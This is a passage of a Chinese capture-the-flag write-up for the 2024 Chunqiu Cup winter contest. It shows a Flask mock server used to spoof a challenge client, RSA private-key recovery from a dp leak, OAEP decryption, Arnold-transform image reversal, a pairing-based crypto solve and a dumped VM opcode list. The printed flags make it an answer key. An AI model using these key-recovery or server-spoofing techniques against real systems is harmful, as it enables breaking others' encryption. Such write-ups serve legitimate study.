{'992793ddb406269517ee56b718bd852b''500'}}, {'26': {'84f0a181277bb584aefccc95c53893eb''500'}}, {'26': {'b83e7bc066b27a266623ea242c5e97c1''500'}}, {'26': {'2fb84163fd57517d8c634e24c181185a''500'}}, {'26': {'9655f71fd39678ecc73b0acd330e1908''500'}}, {'26': {'625e9ecb22a9e3ef846c944d2eb51482''500'}}, {'26': {'9732a8c1ee2ac5726d4efa6632c09cf9''500'}}, {'26': {'a3d278f45936108fb619ddb9a73ee8c0''500'}}, {'26': {'f288472b37fa6381d1d5df2cc959f7cb''500'}}, {'26': {'0b4d74254115d12b728a1fa0a02e0b8e''500'}}, {'26': {'656f0488186619a3078e62362f0ff59a''500'}}, {'26': {'3fdb45b2c4193be94868dc8937aeaf37''500'}}, {'26': {'3a008667c35e6d0607999e594a7dc71a''500'}}, {'26': {'e0b606e18b2ff6699d30a7410fb24e8b''500'}}, {'26': {'276d47ce4b20547a22b0b830ef12c6da''500'}}, {'26': {'cc32aa298a593c85f5df37d10b2e8962''500'}}, {'26': {'d002659ed9981d5b434fc1de217299ac''500'}}, {'26': {'2d61b93a6ef76fca313e455b7651d7b3''500'}}, {'26': {'8fa33c27bed861319c6f6830414c3d6b''500'}}, {'26': {'965f42b413681152fff54b5680495846''500'}}, {'26': {'dd5b5cd51050f4318304ab8a2550f0cc''500'}}, {'26': {'bed5ba395b238c44d19e6334cdb17f2d''500'}}, {'26': {'e3d0fa9cca0de20a4e98e079dd7c3069''500'}}, {'26': {'0880a32e51e1523b61cb60bacdd22d5f''500'}}, {'26': {'caf345e43a3a4c99b71a8e5a67accb9e''500'}}, {'26': {'9633b2b0980d5a88a9ca4a18a7c546a7''500'}}, {'26': {'09266dcc374f31e877a68697be029f96''500'}}, {'26': {'af7e0c2721a40aae5782d8a15db52767''500'}}, {'26': {'dde65aa3955c81ebb5773bb87b56acf2''500'}}, {'26': {'4f2855d8ca0bc9e5fe44f692defecfa0''500'}}, {'26': {'26ce223ba04a328330a2b38732d67400''500'}}, {'26': {'5a3409411227c567de7cb8e6d86d7cb4''500'}}, {'26': {'b89925ff880378f12864cc58202579af''500'}}, {'26': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e''200'}}, {'27': {'0167400eef2f00e5dafd7644fb3e3d6d''500'}}, {'27': {'b83b1916ca1cc17552e24ee98cd4518c''500'}}, {'27': {'cec5d1f92cef379ce26c8e357c4ceb70''500'}}, {'27': {'df06be27f001e1ccc23b6bac62b76bb8''500'}}, {'27': {'cf9a2ec2ed360217d8d972da9a73b4b1''500'}}, {'27': {'06adf343c2d384a7331f00c0c55809ed''500'}}, {'27': {'6699773c1e813784c53844e1c26b1733''500'}}, {'27': {'0ce48ad5c646c116691c4451c17dc5a1''500'}}, {'27': {'6a9a485d4030f9b5558a0c8deb8f77af''500'}}, {'27': {'0bcb6ffbec5cc87e21cf2139f88e9925''500'}}, {'27': {'b1c44d950c13191a3808ec76213e2d24''500'}}, {'27': {'673c781b6772ab7a23674f36593a1ac1''500'}}, {'27': {'113d16862ee604a9811551bce0c7c490''500'}}, {'27': {'99b87df1c1386e3f86ba7971c041d933''500'}}, {'27': {'062352b5435df2f54d41597ad44cf13e''500'}}, {'27': {'c855c482bf3d5954b6a997127ec1ee94''500'}}, {'27': {'401cd362359df071260aebf71836d52b''500'}}, {'27': {'6ec38b6e5e2e62e31015956780cdc5b6''500'}}, {'27': {'693325d01d8f376c0aa59f2438cd147a''500'}}, {'27': {'deacdfd6851d72a267f180c269b2578f''500'}}, {'27': {'efe115fd1235940252113df4a7d00aee''500'}}, {'27': {'ad8a6adb2196e0e432eda120700a6022''500'}}, {'27': {'208530224471663cf2a7ad02a80db28d''200'}}, {'28': {'0167400eef2f00e5dafd7644fb3e3d6d''500'}}, {'28': {'b83b1916ca1cc17552e24ee98cd4518c''500'}}, {'28': {'cec5d1f92cef379ce26c8e357c4ceb70''500'}}, {'28': {'df06be27f001e1ccc23b6bac62b76bb8''500'}}, {'28': {'cf9a2ec2ed360217d8d972da9a73b4b1''500'}}, {'28': {'06adf343c2d384a7331f00c0c55809ed''500'}}, {'28': {'6699773c1e813784c53844e1c26b1733''500'}}, {'28': {'0ce48ad5c646c116691c4451c17dc5a1''500'}}, {'28': {'6a9a485d4030f9b5558a0c8deb8f77af''500'}}, {'28': {'0bcb6ffbec5cc87e21cf2139f88e9925''500'}}, {'28': {'b1c44d950c13191a3808ec76213e2d24''500'}}, {'28': {'673c781b6772ab7a23674f36593a1ac1''500'}}, {'28': {'113d16862ee604a9811551bce0c7c490''500'}}, {'28': {'99b87df1c1386e3f86ba7971c041d933''500'}}, {'28': {'062352b5435df2f54d41597ad44cf13e''500'}}, {'28': {'c855c482bf3d5954b6a997127ec1ee94''500'}}, {'28': {'401cd362359df071260aebf71836d52b'''}}, {'200': {'200'''}}, {'200': {'200''500'}}, {'28': {'6ec38b6e5e2e62e31015956780cdc5b6''500'}}, {'28': {'693325d01d8f376c0aa59f2438cd147a''500'}}, {'28': {'deacdfd6851d72a267f180c269b2578f''500'}}, {'28': {'efe115fd1235940252113df4a7d00aee''500'}}, {'28': {'ad8a6adb2196e0e432eda120700a6022''500'}}, {'28': {'208530224471663cf2a7ad02a80db28d''500'}}, {'28': {'dadefb8dfc6e229f6a0a4d11e5431085''500'}}, {'28': {'46db23c2b2efe7f8e7d9ffe4605a4660''500'}}, {'28': {'b1d18a2f5b6a982883c6728591ca752a''500'}}, {'28': {'327acfe04c2bdf06fe182c051336fe42''500'}}, {'28': {'749390ecd8fdb526a21d403c336ff76f''500'}}, {'28': {'2c59fd9ba8b44eb106bac9379ba8c18e''500'}}, {'28': {'80ba28c5abee89abe7825b24752c883f''500'}}, {'28': {'b26e9898be9447069a85d8ee418df985''500'}}, {'28': {'603d46455bd3c1bfce2f3d1f40006c62''500'}}, {'28': {'c8e5b12d8205221fcb57700553bc6d1d''500'}}, {'28': {'5a238d0dbd74be271e70e08697883883''500'}}, {'28': {'c47e93d8ce347680897b9f8d1e655b3d''500'}}, {'28': {'ccdc1766c84f74d7376ebc9f13955f15''500'}}, {'28': {'a79d5e01ceac580f13f98297b25ecfa1''500'}}, {'28': {'992793ddb406269517ee56b718bd852b''500'}}, {'28': {'84f0a181277bb584aefccc95c53893eb''500'}}, {'28': {'b83e7bc066b27a266623ea242c5e97c1''500'}}, {'28': {'2fb84163fd57517d8c634e24c181185a''500'}}, {'28': {'9655f71fd39678ecc73b0acd330e1908''500'}}, {'28': {'625e9ecb22a9e3ef846c944d2eb51482''500'}}, {'28': {'9732a8c1ee2ac5726d4efa6632c09cf9''500'}}, {'28': {'a3d278f45936108fb619ddb9a73ee8c0''500'}}, {'28': {'f288472b37fa6381d1d5df2cc959f7cb''500'}}, {'28': {'0b4d74254115d12b728a1fa0a02e0b8e''500'}}, {'28': {'656f0488186619a3078e62362f0ff59a''500'}}, {'28': {'3fdb45b2c4193be94868dc8937aeaf37''500'}}, {'28': {'3a008667c35e6d0607999e594a7dc71a''500'}}, {'28': {'e0b606e18b2ff6699d30a7410fb24e8b''500'}}, {'28': {'276d47ce4b20547a22b0b830ef12c6da''500'}}, {'28': {'cc32aa298a593c85f5df37d10b2e8962''500'}}, {'28': {'d002659ed9981d5b434fc1de217299ac''500'}}, {'28': {'2d61b93a6ef76fca313e455b7651d7b3''500'}}, {'28': {'8fa33c27bed861319c6f6830414c3d6b''500'}}, {'28': {'965f42b413681152fff54b5680495846''500'}}, {'28': {'dd5b5cd51050f4318304ab8a2550f0cc''500'}}, {'28': {'bed5ba395b238c44d19e6334cdb17f2d''500'}}, {'28': {'e3d0fa9cca0de20a4e98e079dd7c3069''500'}}, {'28': {'0880a32e51e1523b61cb60bacdd22d5f''500'}}, {'28': {'caf345e43a3a4c99b71a8e5a67accb9e''500'}}, {'28': {'9633b2b0980d5a88a9ca4a18a7c546a7''500'}}, {'28': {'09266dcc374f31e877a68697be029f96''500'}}, {'28': {'af7e0c2721a40aae5782d8a15db52767''500'}}, {'28': {'dde65aa3955c81ebb5773bb87b56acf2''500'}}, {'28': {'4f2855d8ca0bc9e5fe44f692defecfa0''500'}}, {'28': {'26ce223ba04a328330a2b38732d67400''500'}}, {'28': {'5a3409411227c567de7cb8e6d86d7cb4''500'}}, {'28': {'b89925ff880378f12864cc58202579af''500'}}, {'28': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e''500'}}, {'28': {'719aa677366a11a13d6e0fab7fa94126''500'}}, {'28': {'acbd15e5a36e317de9d853bf24f892a6''500'}}, {'28': {'1935c0d84acb890657ceb7749ff30a84''500'}}, {'28': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f''500'}}, {'28': {'1b677e57e5b420ed45c45245060500b2''500'}}, {'28': {'efa87c138fd8a74ceafb49415140a5a9''500'}}, {'28': {'1c31f3d619908895c04d23a94fb3cdf7''500'}}, {'28': {'fd4561feb0138817c1940f29c22858db''500'}}, {'28': {'4816c4bd2975741d6d01a1be192c8bfe''500'}}, {'28': {'f0c7e4dfc4aaf4fbd9c5ec97c3d041e4''500'}}, {'28': {'4a78c7229f44396efdc4dcca286c6350''500'}}, {'28': {'386ff8133c399caa3e00624c52ccbc52''500'}}, {'28': {'6fdc923c48f7fa5ee4cf9e2b238ea171''500'}}, {'28': {'fbcee321e49086351a7220aeea572c99''500'}}, {'28': {'697e250874a271013fa06c87be84d4c5''500'}}, {'28': {'b906e90c4be2d07fbc1cb13c9f9398b7''500'}}, {'28': {'68dba9408af41481b762fa7041e9f7d1''500'}}, {'28': {'1ecc911fe653ab8ce683906b90078ded''500'}}, {'28': {'9c95feb5fa37f7ed210eb56bda6dc924''500'}}, {'28': {'d0cba97b871cf2d12c7ad87b7a8d6d14''500'}}, {'28': {'ed25379f44ac7ced2f0bf43e0bee0bbd''500'}}, {'28': {'c94e5da62ee1935b71c0e01a67d2655a''500'}}, {'28': {'28e766f9f14761895276bd6f8924ecf7''200'}}, {'29': {'0167400eef2f00e5dafd7644fb3e3d6d''400'}}, {'29': {'b83b1916ca1cc17552e24ee98cd4518c''400'}}, {'29': {'cec5d1f92cef379ce26c8e357c4ceb70''400'}}, {'29': {'df06be27f001e1ccc23b6bac62b76bb8''400'}}, {'29': {'cf9a2ec2ed360217d8d972da9a73b4b1''400'}}, {'29': {'06adf343c2d384a7331f00c0c55809ed''400'}}, {'29': {'6699773c1e813784c53844e1c26b1733''400'}}, {'29': {'0ce48ad5c646c116691c4451c17dc5a1''400'}}, {'29': {'6a9a485d4030f9b5558a0c8deb8f77af''400'}}, {'29': {'0bcb6ffbec5cc87e21cf2139f88e9925''400'}}, {'29': {'b1c44d950c13191a3808ec76213e2d24''400'}}, {'29': {'673c781b6772ab7a23674f36593a1ac1''400'}}, {'29': {'113d16862ee604a9811551bce0c7c490''400'}}, {'29': {'99b87df1c1386e3f86ba7971c041d933''400'}}, {'29': {'062352b5435df2f54d41597ad44cf13e''400'}}, {'29': {'c855c482bf3d5954b6a997127ec1ee94''400'}}, {'29': {'401cd362359df071260aebf71836d52b''400'}}, {'29': {'6ec38b6e5e2e62e31015956780cdc5b6''400'}}, {'29': {'693325d01d8f376c0aa59f2438cd147a''400'}}, {'29': {'deacdfd6851d72a267f180c269b2578f''400'}}, {'29': {'efe115fd1235940252113df4a7d00aee''400'}}, {'29': {'ad8a6adb2196e0e432eda120700a6022''400'}}, {'29': {'208530224471663cf2a7ad02a80db28d''400'}}, {'29': {'dadefb8dfc6e229f6a0a4d11e5431085''400'}}, {'29': {'46db23c2b2efe7f8e7d9ffe4605a4660''400'}}, {'29': {'b1d18a2f5b6a982883c6728591ca752a''400'}}, {'29': {'327acfe04c2bdf06fe182c051336fe42''400'}}, {'29': {'749390ecd8fdb526a21d403c336ff76f''400'}}, {'29': {'2c59fd9ba8b44eb106bac9379ba8c18e''400'}}, {'29': {'80ba28c5abee89abe7825b24752c883f''400'}}, {'29': {'b26e9898be9447069a85d8ee418df985''400'}}, {'29': {'603d46455bd3c1bfce2f3d1f40006c62''400'}}, {'29': {'c8e5b12d8205221fcb57700553bc6d1d''400'}}, {'29': {'5a238d0dbd74be271e70e08697883883''400'}}, {'29': {'c47e93d8ce347680897b9f8d1e655b3d''400'}}, {'29': {'ccdc1766c84f74d7376ebc9f13955f15''400'}}, {'29': {'a79d5e01ceac580f13f98297b25ecfa1''400'}}, {'29': {'992793ddb406269517ee56b718bd852b''400'}}, {'29': {'84f0a181277bb584aefccc95c53893eb''400'}}, {'29': {'b83e7bc066b27a266623ea242c5e97c1''400'}}, {'29': {'2fb84163fd57517d8c634e24c181185a''400'}}, {'29': {'9655f71fd39678ecc73b0acd330e1908''400'}}, {'29': {'625e9ecb22a9e3ef846c944d2eb51482''400'}}, {'29': {'9732a8c1ee2ac5726d4efa6632c09cf9''400'}}, {'29': {'a3d278f45936108fb619ddb9a73ee8c0''400'}}, {'29': {'f288472b37fa6381d1d5df2cc959f7cb''400'}}, {'29': {'0b4d74254115d12b728a1fa0a02e0b8e''400'}}, {'29': {'656f0488186619a3078e62362f0ff59a''400'}}, {'29': {'3fdb45b2c4193be94868dc8937aeaf37''400'}}, {'29': {'3a008667c35e6d0607999e594a7dc71a''400'}}, {'29': {'e0b606e18b2ff6699d30a7410fb24e8b''400'}}, {'29': {'276d47ce4b20547a22b0b830ef12c6da''400'}}, {'29': {'cc32aa298a593c85f5df37d10b2e8962''400'}}, {'29': {'d002659ed9981d5b434fc1de217299ac''400'}}, {'29': {'2d61b93a6ef76fca313e455b7651d7b3''400'}}, {'29': {'8fa33c27bed861319c6f6830414c3d6b'''}}, {'200': {'200'''}}, {'200': {'200''400'}}, {'29': {'965f42b413681152fff54b5680495846''400'}}, {'29': {'dd5b5cd51050f4318304ab8a2550f0cc''400'}}, {'29': {'bed5ba395b238c44d19e6334cdb17f2d''400'}}, {'29': {'e3d0fa9cca0de20a4e98e079dd7c3069''400'}}, {'29': {'0880a32e51e1523b61cb60bacdd22d5f''400'}}, {'29': {'caf345e43a3a4c99b71a8e5a67accb9e''400'}}, {'29': {'9633b2b0980d5a88a9ca4a18a7c546a7''400'}}, {'29': {'09266dcc374f31e877a68697be029f96''400'}}, {'29': {'af7e0c2721a40aae5782d8a15db52767''400'}}, {'29': {'dde65aa3955c81ebb5773bb87b56acf2''400'}}, {'29': {'4f2855d8ca0bc9e5fe44f692defecfa0''400'}}, {'29': {'26ce223ba04a328330a2b38732d67400''400'}}, {'29': {'5a3409411227c567de7cb8e6d86d7cb4''400'}}, {'29': {'b89925ff880378f12864cc58202579af''400'}}, {'29': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e''400'}}, {'29': {'719aa677366a11a13d6e0fab7fa94126''400'}}, {'29': {'acbd15e5a36e317de9d853bf24f892a6''400'}}, {'29': {'1935c0d84acb890657ceb7749ff30a84''400'}}, {'29': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f''400'}}, {'29': {'1b677e57e5b420ed45c45245060500b2''400'}}, {'29': {'efa87c138fd8a74ceafb49415140a5a9''400'}}, {'29': {'1c31f3d619908895c04d23a94fb3cdf7''400'}}, {'29': {'fd4561feb0138817c1940f29c22858db''400'}}, {'29': {'4816c4bd2975741d6d01a1be192c8bfe''400'}}, {'29': {'f0c7e4dfc4aaf4fbd9c5ec97c3d041e4''400'}}, {'29': {'4a78c7229f44396efdc4dcca286c6350''400'}}, {'29': {'386ff8133c399caa3e00624c52ccbc52''400'}}, {'29': {'6fdc923c48f7fa5ee4cf9e2b238ea171''400'}}, {'29': {'fbcee321e49086351a7220aeea572c99''400'}}, {'29': {'697e250874a271013fa06c87be84d4c5''400'}}, {'29': {'b906e90c4be2d07fbc1cb13c9f9398b7''400'}}, {'29': {'68dba9408af41481b762fa7041e9f7d1''400'}}, {'29': {'1ecc911fe653ab8ce683906b90078ded''400'}}, {'29': {'9c95feb5fa37f7ed210eb56bda6dc924''400'}}, {'29': {'d0cba97b871cf2d12c7ad87b7a8d6d14''400'}}, {'29': {'ed25379f44ac7ced2f0bf43e0bee0bbd''400'}}, {'29': {'c94e5da62ee1935b71c0e01a67d2655a''400'}}, {'29': {'28e766f9f14761895276bd6f8924ecf7''400'}}, {'29': {'880825c211c56c63276ada87f6b70e3b''400'}}]


@app.route('/api/check', methods=['POST'])
def get_response():
    # 从请求的表单数据中获取传入的position和hash参数
    data = request.form
    position = data.get('position'None)
    request_hash = data.get('hash'None)

    # 检查是否提供了position和hash参数
    if not position or not request_hash:
        return jsonify({'code'400'message''Missing position or hash parameter'}), 400

    # 根据position找到对应的内部字典
    for item in response_list:
        nested_dict = item.get(position)
        if nested_dict and request_hash in nested_dict:
            # 如果找到匹配的哈希值,返回对应的状态码
            return jsonify({'code'200'message': nested_dict[request_hash]}), int(nested_dict[request_hash])

    # 如果没有找到匹配的哈希值,返回404 Not Found
    return jsonify({'code'404'message''Hash not found'}), 404


if __name__ == '__main__':
    app.run(debug=True)

用题目的client.exe指定我们的模拟服务端即可

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析
春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

EzMisc

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

分析流量包,发现是FTP传输文件的,共下载了三个文件,分别导出一下

其中私钥是残缺的,但是可以利用DP泄露来求出私钥,从而还原私钥流解密密文

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAs+6Ep8SasbhvIG62iRgAqppC7E6xtM3edPdn654H0IIJcr3T
sis8OO5JcElSHhJkCkT1xtRgHm1zVyPIpzZTPZY3vMgN+xTuDwn7roPrMJ9oYhUE
8Yt3lBGotOyZh7/fSq/hd9IATqmO3gTgBzQFFPKK+NLHhidYYEkbg7Mj2TCaSOZO
Ztka7LsPfjnr2bo/h3MvJAx86REDO2FXvJAhY9A/ViBatq0pGKD/LioHkwafjd2r
xQA3Sjnur8LxOWeM9nNZkZR4DH/kkxHLKxslRePGkOHbLgwIO9bdplhI1ky7gQpC
Q3moi74VPd88jnngyAftGqm2h0Mw2jVZgwz6RQIDAQABAoIBAENuo1aAjv0Fwtfj
xhLw5OcK8wO+pki9Up6BTff2fLU+1q2iyKCgJWysmOc1A0pz1/wlRfrjArbEjBJf
Pca0zFNrZa4hR2QOvvzx39nSZKUPSL5hZD3l58WdLJ3JgexnExbZfWU7VZQlZX59
Uzw/2Zu1HjIMRGxZeHx1SZN84nV1aMj/9FFlpC54ZG0mz33BsmphKnQTYLlINzQl
laL6ZR5N+/3QoIGj+TNIHkUQhFCR9d285FWIUWEmhh9UE8UwFPw+gaDcrOcVpSpT
hAapMbzBuZ8AAAAAAAAAKLpJRp1+1TmSOtj/eO4sxKXOMdEH1weFCzBUogIKK0H6
VJt6DG0CgYEA7oQV+b31O418CJ3ehDlSjFy3+KdxEXpDujgwP5dwbCenHDNEfx0Y
+TzknEC+A/azdn+AhOQyQAE4xGwygb8i2OPC3ZqOhv26yGhv5WZxG2qsQVMCZYD0
+FCmf656TA2rwx6yRf5UtVBecIhSoUkEekxO0lbiBAAAAAAAAAsmadcCgYEAwR8P
IEpv47T1jla9RTQuSby4eSu3OvrN/SkKPVFui/aDUG/OO0fQzGuEq2rthtXuGBna
Qjvyd+PZngYLn8vHKqmuxAlNUivq3rvGwpayRL83Pts02+4fOa/p7TJkdLlQDHxo
La7sn/SiuAAAAAAAAAeFlii6mTG+kUZ98n3IEUMCgYEAlyQaLNSjpqYkV+16CL2u
QoWqiqXIL3QToNhkMpfLRK3n5iXSnN4aai2dDCq2fhqBZHCtRwi3kvlzOHz7kF5H
PbsuS3DaKk50YvRTG8HLoLz7BLYOSbXrBcNNjpFIrBLpqc4018evc+nGvnaULeHw
NXNPa1hlCNFXgJ4+ne3f/KcCgYEAu0KerDUBoc8KfGbnSH98ksuIJRaaqXog22Y8
I5EenGEAm7KOSzUr5cwr7PvWLnSqVnxbAvaV+mLZ1T0PcHdsPJYkfLp4W0FykV+L
L4xod/jiXPS5oLiZVpqZPgMrHXPDhxfq/MEteTAAAAAAAAApzN0kj6IWrg1qN/we
jFAi+3kCgYABKVPNcN25ZT/FjL4uLKhyu3Q6vgPRQwP//bPlTloenxDT8RN3znpx
qzv0e84HQH5lH/AxNix5eq/apOi8B0q6IW1Fj3ytczR8cvPhCln/zWV/ZXxj6Rul
JR3mGGh3lYDqiTxi+6ZbKqbhc4N7na8VHx+CoAGMqRUFzAAAAAAAAA==
-----END RSA PRIVATE KEY-----
import gmpy2
from Crypto.Util.number import long_to_bytes
e = 0x10001
n = 0x00b3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
dp = 0x0097241a2cd4a3a6a62457ed7a08bdae4285aa8aa5c82f7413a0d8643297cb44ade7e625d29cde1a6a2d9d0c2ab67e1a816470ad4708b792f973387cfb905e473dbb2e4b70da2a4e7462f4531bc1cba0bcfb04b60e49b5eb05c34d8e9148ac12e9a9ce34d7c7af73e9c6be76942de1f035734f6b586508d157809e3e9deddffca7
 
for x in range(1,e):  #遍历X
    if (dp*e-1)%x==0:
        p=(dp*e-1)//x +1
        if n%p==0:
            q=n//p   #得到q
            phi=(p-1)*(q-1)  #欧拉函数
            d=gmpy2.invert(e,phi)  #求逆元
            print(d)

解密得到密文为M1sc_1s_s0_e@sy!

import gmpy2
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

e = 0x10001
n = 0xb3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
d = 0x436ea356808efd05c2d7e3c612f0e4e70af303bea648bd529e814df7f67cb53ed6ada2c8a0a0256cac98e735034a73d7fc2545fae302b6c48c125f3dc6b4cc536b65ae2147640ebefcf1dfd9d264a50f48be61643de5e7c59d2c9dc981ec671316d97d653b559425657e7d533c3fd99bb51e320c446c59787c7549937ce2757568c8fff45165a42e78646d26cf7dc1b26a612a741360b94837342595a2fa651e4dfbfdd0a081a3f933481e4510845091f5ddbce45588516126861f5413c53014fc3e81a0dcace715a52a538406a931bcc1b99f269282083dc86f28ba49469d7ed539923ad8ff78ee2cc4a5ce31d107d707850b3054a2020a2b41fa549b7a0c6d

# dp泄露攻击, n ,e, d
rsakey = RSA.construct((n, e, d)) # 重构私钥流

# 读取密文流
with open('enc''rb'as f:
    enc = f.read()
    
# 私钥流基于OAEP模式进行密钥填充
rsa = PKCS1_OAEP.new(rsakey)
try:
    m = rsa.decrypt(enc) # 调用.decrypt()进行解密
    print(m)  # Assuming the decrypted message is a string
except Exception as ex:
    print("Decryption failed:", ex)

压缩包内为一张图片,猜测经过了Arnold变换,爆破一下参数值得到shuffle_times, a, b分别为6, 16, 26

变换回去得到flag为: flag{3089ea1c-23a0-4889-a87f-daabe2f6e1b4}

# -*- coding: UTF-8 -*-
import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image


def arnold_encode(image, shuffle_times, a, b):
    """ Arnold shuffle for rgb image
    Args:
        image: input original rgb image
        shuffle_times: how many times to shuffle
    Returns:
        Arnold encode image
    """

    # 1:创建新图像
    arnold_image = np.zeros(shape=image.shape)
    
    # 2:计算N
    h, w = image.shape[0], image.shape[1]
    N = h   # 或N=w
    
    # 3:遍历像素坐标变换
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                # 按照公式坐标变换
                new_x = (1*ori_x + b*ori_y)% N
                new_y = (a*ori_x + (a*b+1)*ori_y) % N

                # 像素赋值
                # print(image[ori_x, ori_y, :])
                # print(arnold_image[new_x, new_y, :])
                arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]
        
        # 更新坐标
        image = np.copy(arnold_image)

    cv2.imwrite('flag_arnold_encode.png', arnold_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
    return arnold_image


def arnold_decode(arnold_image, shuffle_times, a, b):
    """ Arnold shuffle for rgb image
    Args:
        arnold_image: input arnold encoded rgb image
        shuffle_times: how many times to shuffle
        a: element a of the arnold transform matrix
        b: element b of the arnold transform matrix
    Returns:
        Arnold decode image
    """

    # 1:创建新图像
    decode_image = np.zeros(shape=arnold_image.shape)
    # 2:计算N
    h, w = arnold_image.shape[0], arnold_image.shape[1]
    N = h  # 或N=w

    # 3:遍历像素坐标变换
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                # 按照公式坐标变换
                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
                new_y = ((-a) * ori_x + ori_y) % N
                decode_image[new_x, new_y, :] = arnold_image[ori_x, ori_y, :]

        # 更新坐标
        arnold_image = np.copy(decode_image)

    cv2.imwrite('flag_arnold_decode.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
    return decode_image


img = cv2.imread('flag_arnold_encode.png')
# arnold_encode(img, 6, 16, 26)
arnold_decode(img, 61626)
春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

dance

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

分析题目,可以发现如果把m两两分为一组的话

case1:若连续的m均为1或0,则输出为

也即两者互逆,但是我们无法直接判断出是0、0还是1、1

case2:若连续的m为1、0,则输出为

显然下面的就是上面的求逆再乘上

case3:类似的若连续的m为0、1,则输出为

显然下面的就是上面乘上再求逆

我们遍历m,利用case1、2、3进行判断,我们就只剩下几个重复的没有恢复了,然后多次使用case1即可

# sage
from Crypto.Util.number import *

def check(A, B):
    aa = A.weil_pairing(G1, o1)
    bb = B.weil_pairing(G2, o2)
    if aa ^ (-1) == bb:
        return 0
    if (aa * e) ^ (-1) == bb:
        return 1
    if aa * e ^ (-1) == bb ^ (-1):
        return 2

c = [] 
p = 0x1A0111EA397FE69A4B1BA7B6434BACD764774B84F38512BF6730D2A0F6B0F6241EABFFFEB153FFFFB9FEFFFFFFFFAAAB
E = EllipticCurve(GF(p), [04])
G1, G2 = E.gens()
o1, o2 = G1.order(), G2.order()
m = []
C = [E(c[3 * i : 3 * i + 3]) for i in range(len(c) // 3)]
e = G2.weil_pairing(G1, o1)
for A, B in zip(C[:-1], C[1:]):
    u = check(A, B)
    if u == 0:
        m.append("x")
    elif u == 1:
        m.append(0)
    elif u == 2:
        m.append(1)
    else:
        print("oops")
        break
m += [1]
while 1:
    for i, A, B in zip(range(len(m) - 1), C[:-1], C[1:]):
        u = check(A, B)
        if u == 0 and m[i + 1] != "x":
            m[i] = m[i + 1]
    if "x" not in m:
        break
print(long_to_bytes(int("".join(map(str, m)), 2)))

获得flag为

flag{0331d347-6fd2-4159-9c84-0f78373933bd}

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

easyvm

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

程序没有去除符号表,结合静态分析与动态调试即可dump下来opcode

 [ 7, 0x101, 3, 0x6701, 0x801, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x201, 3, 0x6e01, 0x1301, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x301, 3, 0x6401, 0x1E01, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x101, 3, 0x6801, 0x2901, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x201, 3, 0x7d01, 0x3401, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x301, 3, 0x3501, 0x3F01, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x805, 0x101, 4, 0x320101, 0x4B01, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x805, 0x201, 4, 0x320201, 0x5701, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x805, 0x301, 4, 0x630301, 0x6301, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x805, 0x101, 4, 0x630101, 0x6F01, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x805, 0x101, 4, 0x630101, 0x7B01, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x805, 0x201, 4, 0x660201, 0x8701, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x805, 0x301, 4, 0x320301, 0x9301, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x101, 3, 0x2E01, 0x9E01, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x201, 3, 0x3901, 0x0A901, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x301, 3, 0x3401, 0x0B401, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x101, 3, 0x6301, 0x0BF01, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x201, 3, 0x3801, 0x0CA01, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x301, 3, 0x3001, 0x0D501, 0xA, 0x1b601, 9, 2, 2, 2,
